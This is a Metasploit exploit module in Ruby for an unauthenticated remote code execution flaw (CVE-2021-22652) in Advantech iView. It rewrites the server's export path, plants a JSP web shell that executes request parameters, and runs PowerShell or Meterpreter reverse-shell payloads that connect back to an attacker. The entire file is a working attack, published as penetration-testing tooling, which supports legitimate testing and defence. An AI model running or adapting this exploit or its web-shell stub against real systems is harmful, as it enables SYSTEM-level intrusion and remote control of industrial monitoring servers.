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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::Powershell
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Advantech iView Unauthenticated Remote Code Execution',
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        'Description' => %q{
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          This module exploits an unauthenticated configuration change combined
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          with an unauthenticated file write primitive, leading to an arbitrary
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          file write that allows for remote code execution as the user running
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          iView, which is typically NT AUTHORITY\SYSTEM.
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          This issue was demonstrated in the vulnerable version 5.7.02.5992 and
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          fixed in version 5.7.03.6112.
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        },
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        'Author' => [
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          'wvu', # Discovery and exploit
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          'Spencer McIntyre' # Check, docs, and testing
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        ],
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        'References' => [
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          ['CVE', '2021-22652'],
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          ['URL', 'https://www.rapid7.com/blog/post/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-rce-fixed/'],
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          ['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-040-02']
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        ],
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        'DisclosureDate' => '2021-02-09', # ICS-CERT advisory
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        'License' => MSF_LICENSE,
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        'Platform' => 'win',
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        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
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        'Privileged' => true,
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        'Targets' => [
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          [
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            'Windows Command',
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            {
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              'Arch' => ARCH_CMD,
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              'Type' => :win_cmd,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
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              }
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            }
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          ],
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          [
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            'Windows Dropper',
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            {
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :win_dropper,
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              'DefaultOptions' => {
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                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
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                'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
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              }
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            }
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          ],
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          [
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            'PowerShell Stager',
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            {
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :psh_stager,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
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              }
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            }
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          ]
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        ],
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        'DefaultTarget' => 2,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options([
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      Opt::RPORT(8080),
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      OptString.new('TARGETURI', [true, 'Application path', '/iView3'])
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    ])
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  end
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  def check
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    res = send_request_cgi(
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri.path, 'MenuServlet'),
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      'vars_post' => {
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        'page_action_type' => 'getMenuFragment',
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        'page' => 'version.frag'
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      }
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    )
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    return CheckCode::Unknown unless res&.code == 200
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    version = res.get_html_document.xpath('string(//input[starts-with(@value, "Version")]/@value)')
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    return CheckCode::Unknown unless version =~ /Version (\d+\.\d+) \(Build ([\d.]+)\)/
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    version = "#{Regexp.last_match(1)}.#{Regexp.last_match(2)}"
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    vprint_status("Identified the version as #{version}")
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    return CheckCode::Safe if Rex::Version.new(version) >= Rex::Version.new('5.7.03.6112')
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    CheckCode::Appears
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  end
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  def exploit
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    config = retrieve_config
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    updated = update_config(config)
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    write_jsp_stub
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    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
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    case target['Type']
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    when :win_cmd
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      execute_command(payload.encoded)
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    when :win_dropper
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      execute_cmdstager
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    when :psh_stager
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      execute_command(cmd_psh_payload(
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        payload.encoded,
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        payload.arch.first,
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        remove_comspec: true
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      ))
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    end
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  ensure
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    restore_config(config) if config && updated
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  end
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  def retrieve_config
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    print_status('Retrieving config')
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    res = send_request_cgi(
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
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      'vars_post' => {
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        'page_action_type' => 'retrieveSystemSettings'
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      }
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    )
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    unless res && res.code == 200 && (config = res.get_json_document.first)
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      fail_with(Failure::NotFound, 'Failed to retrieve config')
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    end
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    print_good('Successfully retrieved config')
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    vprint_line(JSON.pretty_generate(config))
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    config
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  end
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  def update_config(config)
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    print_status('Updating config')
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    config = config.dup
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    config['EXPORTPATH'] = 'webapps\\iView3\\'
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    res = send_request_cgi(
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
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      'vars_post' => {
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        'page_action_type' => 'updateSystemSettings',
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        'json_obj' => config.to_json
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      }
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    )
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    unless res && res.code == 200 && (config = res.get_json_document.first)
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      fail_with(Failure::NotFound, 'Failed to retrieve updated config')
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    end
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    unless config['EXPORTPATH'] == 'webapps\\iView3\\'
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      fail_with(Failure::NotVulnerable, 'Failed to update config')
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    end
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    print_good('Successfully updated config')
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    vprint_line(JSON.pretty_generate(config))
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    true
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  end
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  def write_jsp_stub
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    print_status('Writing JSP stub')
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    res = send_request_cgi(
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
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      'vars_post' => {
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        'page_action_type' => 'exportInventoryTable',
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        'col_list' => "#{jsp_stub}-NULL",
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        'sortname' => 'NULL',
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        'sortorder' => '',
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        'filename' => jsp_filename
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      }
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    )
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    unless res && res.code == 200
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      fail_with(Failure::NotVulnerable, 'Failed to write JSP stub')
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    end
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    register_file_for_cleanup("webapps\\iView3\\#{jsp_filename}")
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    print_good('Successfully wrote JSP stub')
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  end
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  def execute_command(cmd, _opts = {})
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    cmd.prepend('cmd.exe /c ')
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    print_status("Executing command: #{cmd}")
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    res = send_request_cgi(
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri.path, jsp_filename),
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      'vars_post' => {
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        jsp_param => cmd
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      }
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    )
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    unless res && res.code == 200
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      fail_with(Failure::PayloadFailed, 'Failed to execute command')
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    end
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    print_good('Successfully executed command')
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  end
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  def restore_config(config)
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    print_status('Restoring config')
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    res = send_request_cgi(
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
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      'vars_post' => {
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        'page_action_type' => 'updateSystemSettings',
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        'json_obj' => config.to_json
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      }
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    )
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    unless res && res.code == 200 && (config = res.get_json_document.first)
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      print_error('Failed to retrieve restored config')
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      return
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    end
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    if config['EXPORTPATH'] == 'webapps\\iView3\\'
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      print_warning('Failed to restore config')
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      return
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    end
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    print_good('Successfully restored config')
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    vprint_line(JSON.pretty_generate(config))
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  end
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  def jsp_stub
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    %(<% Runtime.getRuntime().exec(request.getParameter("#{jsp_param}")); %>)
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  end
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  def jsp_param
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    @jsp_param ||= rand_text_alphanumeric(8..42)
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  end
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  def jsp_filename
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    @jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
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  end
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end
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